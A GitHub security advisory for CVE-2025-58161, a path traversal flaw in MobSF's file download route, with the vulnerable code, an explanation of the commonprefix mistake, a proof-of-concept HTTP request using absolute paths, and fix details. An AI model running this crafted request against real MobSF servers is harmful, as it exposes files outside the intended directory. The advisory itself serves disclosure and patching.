ghsa-ccc3-fvfx-mw3v
Vulnerability from github
Summary
The GET /download/ route uses string path verification via os.path.commonprefix, which allows an authenticated user to download files outside the DWD_DIR download directory from "neighboring" directories whose absolute paths begin with the same prefix as DWD_DIR (e.g., .../downloads_bak, .../downloads.old). This is a Directory Traversal (escape) leading to a data leak.
Details
def is_safe_path(safe_root, check_path):
safe_root = os.path.realpath(os.path.normpath(safe_root))
check_path = os.path.realpath(os.path.normpath(check_path))
return os.path.commonprefix([check_path, safe_root]) == safe_root
commonprefix compares raw strings, not path components. For:
safe_root = /home/mobsf/.MobSF/downloads
check_path = /home/mobsf/.MobSF/downloads_bak/test.txt
the function returns True, incorrectly treating downloads_bak as inside downloads.
Download handler:
```
MobSF/views/home.py
@login_required def download(request): root = settings.DWD_DIR filename = request.path.replace('/download/', '', 1) dwd_file = Path(root) / filename # absolute 'filename' ignores 'root' if '../' in filename or not is_safe_path(root, dwd_file): return HttpResponseForbidden(...) ext = dwd_file.suffix if ext in settings.ALLOWED_EXTENSIONS and dwd_file.is_file(): return file_download(dwd_file, ...) ``` If the client supplies an absolute path in filename (starts with / or C:/), Path(root) / filename resolves to that absolute path; the flawed is_safe_path then accepts any sibling directory whose absolute path shares the same string prefix. The ../ check does not catch this.
Which file types are retrievable: Whatever is allowed by settings.ALLOWED_EXTENSIONS
PoC
Prereqs: authenticated user; standard install.
Assume:
settings.DWD_DIR = /home/mobsf/.MobSF/downloads
Prepare a sibling directory with the same string prefix and a test file:
mkdir -p /home/mobsf/.MobSF/downloads_bak
echo "test" > /home/mobsf/.MobSF/downloads_bak/test.txt
As an authenticated user, request (note the leading / in the filename and the double/triple slash after /download/ to preserve it):
GET /download///home/mobsf/.MobSF/downloads_bak/test.txt HTTP/1.1
Host: <HOST>
Cookie: sessionid=<YOUR_SESSION>
Other working sibling directory names (if present):
…/downloads.old/...
…/downloads_backup/...
…/downloads1/...
…/downloads-archive/...
…/downloads 2024/... (URL-encoded space: downloads%202024)
Impact
Any authenticated user can download files (with allowed extensions) from sibling directories whose absolute paths start with the same string prefix as DWD_DIR.
{ "affected": [ { "database_specific": { "last_known_affected_version_range": "\u003c= 4.4.0" }, "package": { "ecosystem": "PyPI", "name": "mobsf" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "4.4.1" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2025-58161" ], "database_specific": { "cwe_ids": [ "CWE-22" ], "github_reviewed": true, "github_reviewed_at": "2025-09-02T17:14:06Z", "nvd_published_at": null, "severity": "LOW" }, "details": "### Summary\nThe GET /download/\u003cfilename\u003e route uses string path verification via os.path.commonprefix, which allows an authenticated user to download files outside the DWD_DIR download directory from \"neighboring\" directories whose absolute paths begin with the same prefix as DWD_DIR (e.g., .../downloads_bak, .../downloads.old). This is a Directory Traversal (escape) leading to a data leak.\n\n### Details\n```\ndef is_safe_path(safe_root, check_path):\n safe_root = os.path.realpath(os.path.normpath(safe_root))\n check_path = os.path.realpath(os.path.normpath(check_path))\n return os.path.commonprefix([check_path, safe_root]) == safe_root\n```\ncommonprefix compares raw strings, not path components. For:\n```\nsafe_root = /home/mobsf/.MobSF/downloads\ncheck_path = /home/mobsf/.MobSF/downloads_bak/test.txt\n```\nthe function returns True, incorrectly treating downloads_bak as inside downloads.\nDownload handler:\n```\n# MobSF/views/home.py\n@login_required\ndef download(request):\n root = settings.DWD_DIR\n filename = request.path.replace(\u0027/download/\u0027, \u0027\u0027, 1)\n dwd_file = Path(root) / filename # absolute \u0027filename\u0027 ignores \u0027root\u0027\n if \u0027../\u0027 in filename or not is_safe_path(root, dwd_file):\n return HttpResponseForbidden(...)\n ext = dwd_file.suffix\n if ext in settings.ALLOWED_EXTENSIONS and dwd_file.is_file():\n return file_download(dwd_file, ...)\n```\nIf the client supplies an absolute path in filename (starts with / or C:/), Path(root) / filename resolves to that absolute path; the flawed is_safe_path then accepts any sibling directory whose absolute path shares the same string prefix. The ../ check does not catch this.\n\nWhich file types are retrievable: Whatever is allowed by settings.ALLOWED_EXTENSIONS\n\n### PoC\nPrereqs: authenticated user; standard install.\nAssume:\n```\nsettings.DWD_DIR = /home/mobsf/.MobSF/downloads\n```\nPrepare a sibling directory with the same string prefix and a test file:\n```\nmkdir -p /home/mobsf/.MobSF/downloads_bak\necho \"test\" \u003e /home/mobsf/.MobSF/downloads_bak/test.txt\n```\nAs an authenticated user, request (note the leading / in the filename and the double/triple slash after /download/ to preserve it):\n```\nGET /download///home/mobsf/.MobSF/downloads_bak/test.txt HTTP/1.1\nHost: \u003cHOST\u003e\nCookie: sessionid=\u003cYOUR_SESSION\u003e\n```\nOther working sibling directory names (if present):\n```\n\u2026/downloads.old/...\n\u2026/downloads_backup/...\n\u2026/downloads1/...\n\u2026/downloads-archive/...\n\u2026/downloads 2024/... (URL-encoded space: downloads%202024)\n```\n### Impact\nAny authenticated user can download files (with allowed extensions) from sibling directories whose absolute paths start with the same string prefix as DWD_DIR.", "id": "GHSA-ccc3-fvfx-mw3v", "modified": "2025-09-02T17:14:06Z", "published": "2025-09-02T17:14:06Z", "references": [ { "type": "WEB", "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-ccc3-fvfx-mw3v" }, { "type": "WEB", "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/7f3bc086c028c1b50889cab8a15f7b59b7abdaf9" }, { "type": "PACKAGE", "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF" }, { "type": "WEB", "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/releases/tag/v4.4.1" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U", "type": "CVSS_V4" } ], "summary": "MobSF Path Traversal in GET /download/\u003cfilename\u003e using absolute filenames" }
Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.